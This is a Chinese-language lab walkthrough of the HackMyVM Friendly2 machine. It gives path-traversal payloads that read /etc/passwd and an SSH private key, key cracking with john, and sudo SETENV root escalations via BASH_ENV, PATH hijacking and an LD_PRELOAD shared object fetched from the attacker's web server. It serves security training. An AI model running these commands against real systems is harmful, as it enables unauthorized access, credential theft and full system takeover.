friendly2靶机渗透

笔记于2025/12/3

本文参考多个文章,链接放在提权部分了

靶机介绍:

该靶机包含文件路径遍历漏洞,以及SETENV提权,ROT13加密

靶机IP:10.120.67.180

攻击机IP:10.120.53.100

存活扫描
复制代码
arp-scan -I eth0 10.120.53.100/17
端口扫描

发现开放SSH服务端口和WEB应用端口

复制代码
nmap -p- 10.120.67.180
WEB应用渗透测试
目录扫描
复制代码
dirb http://10.120.67.180/
信息收集

发现可以测试LFI漏洞和RFI漏洞

RFI漏洞测试

失败了

复制代码
#抓包访问 
http://10.120.67.180/tools/check_if_exist.php?doc=http://www.baidu.com
LFI漏洞测试

成功,得到用户名

复制代码
#访问/etc/passwd 
http://10.120.67.180/tools/check_if_exist.php?doc=../../../../../etc/passwd

因为开放SSH服务,所以我们拿SSH服务的id_rsa密钥

复制代码
#访问 
http://10.120.67.180/tools/check_if_exist.php?doc=../../../../../home/gh0st/.ssh/id_rsa
尝试登录SSH服务

发现登录失败

复制代码
chmod 600 id_rsa 
ssh gh0st@10.120.67.180 -i id_rsa
对id_rsa解密
复制代码
ssh2john id_rsa > hash.txt 
john hash.txt -w=/usr/share/wordlists/rockyou.txt 
john hash.txt --show
登录SSH服务
复制代码
ssh gh0st@10.120.67.180 -i id_rsa 
#输入密码即可连接,若输入密码扔连接失败则需要给id_rsa提供权限"chmod 600 id_rsa"后再次尝试登录
内网渗透
找到user.txt
复制代码
find / -type f -name 'user.txt' 2>/dev/null 
cat /home/gh0st/user.txt
信息收集
复制代码
sudo -l 
cat /opt/security.sh
内网提权方法1
复制代码
echo 'chmod u+s /bin/bash' > /tmp/mal.sh 
chmod +x /tmp/mal.sh 
sudo BASH_ENV=/tmp/mal.sh /opt/security.sh
内网提权方法2

hmv_friendly2

HakcMyVM/Friendly2.md at master · pencek/HakcMyVM · GitHub

复制代码
#这条是用的比较多的,可以看以上两篇博主 
cd /tmp 
echo 'chmod u+s /bin/bash' > grep 
chmod +x grep 
sudo PATH=$PWD:$PATH /opt/security.sh 
#或者下面这条,是我自己试过的也可以提权 
cd /tmp 
echo 'chmod u+s /bin/bash' > tr 
chmod +x tr 
sudo PATH=$PWD:$PATH /opt/security.sh
内网提权方法3

四分多钟的时候会介绍

hackmyvm Friendly2靶场复盘_哔哩哔哩_bilibili

具体知识点在这

Linux 权限升级 - 黑客技巧 --- Linux Privilege Escalation - HackTricks

复制代码
攻击机kali: 
vim pe.c 
#粘贴复制的代码 
gcc -fPIC -shared -o pe.so pe.c -nostartfiles 
python3 -m http.server 7777 
防守机: 
cd /tmp 
wget -o http://10.120.53.100:7777/pe.so 
sudo LD_PRELOAD=/tmp/pe.so /opt/security.sh

编译过了在编译一次可能是这样的

我这边用kali编译失败了,不知道是什么原因,然后我就放弃了

放弃之后重拾了一下知识,加了个就可以编译成功了

复制代码
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>  // 新增:包含setgid/setuid的声明

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

拿下!

获取root.txt
复制代码
cat /root/root.txt 
find / -name '...' 2>/dev/null 
cd /... ls -al 
cat ebbg.txt

这里的root.txt的flag是经过ROT13加密过的,而/opt/security就是解码代码,只不过加了长度限制

修改/opt/security

复制代码
#将长度限制20修改成50或者更长 
nano /opt/security

运行并输入经过ROT13加密后的flag

WEB应用源代码分析

直接接收来自用户的GET请求doc参数,无任何过滤,存在路径遍历漏洞,攻击者可以利用他读取服务器任意敏感文件

复制代码
<?php 
if(isset($_GET['doc'])) { 
$filename = $_GET['doc']; 
readfile("/var/www/html/tools/documents/" . $filename); 
} 
?>

渗透测试收获:

如果sudo -l的内容为

复制代码
(ALL : ALL) SETENV: NOPASSWD: /opt/security.sh

那将有多种提权方法

ROT13加密类似凯撒加密

路径遍历漏洞经验

相关推荐
知识分享小能手1 小时前
CentOS Stream 9入门学习教程,从入门到精通, CentOS Stream 9 命令行基础 —语法知识点与实战详解(4)
linux·学习·centos
码界奇点1 小时前
Java Web学习 第15篇jQuery从入门到精通的万字深度解析
java·前端·学习·jquery
摇滚侠1 小时前
零基础小白自学 Git_Github 教程,GitHub Action 基础概念,笔记22
笔记·git·github
车载测试工程师2 小时前
CAPL学习-ETH功能函数-通用函数
网络·学习·tcp/ip·capl·canoe
OAoffice2 小时前
智能学习培训考试平台如何驱动未来组织:重塑人才发展格局
人工智能·学习·企业智能学习考试平台·学练考一体化平台
linly12192 小时前
ERP学习笔记-频域分析之小波变换fieldtrip
笔记·学习
QiZhang | UESTC2 小时前
学习日记day40
学习
大江东去浪淘尽千古风流人物3 小时前
【MSCKF】UpdaterHelper 学习备注
学习
hmbbcsm4 小时前
python学习之路(十三)[闭包,装饰器,函数式编程,生成器]
学习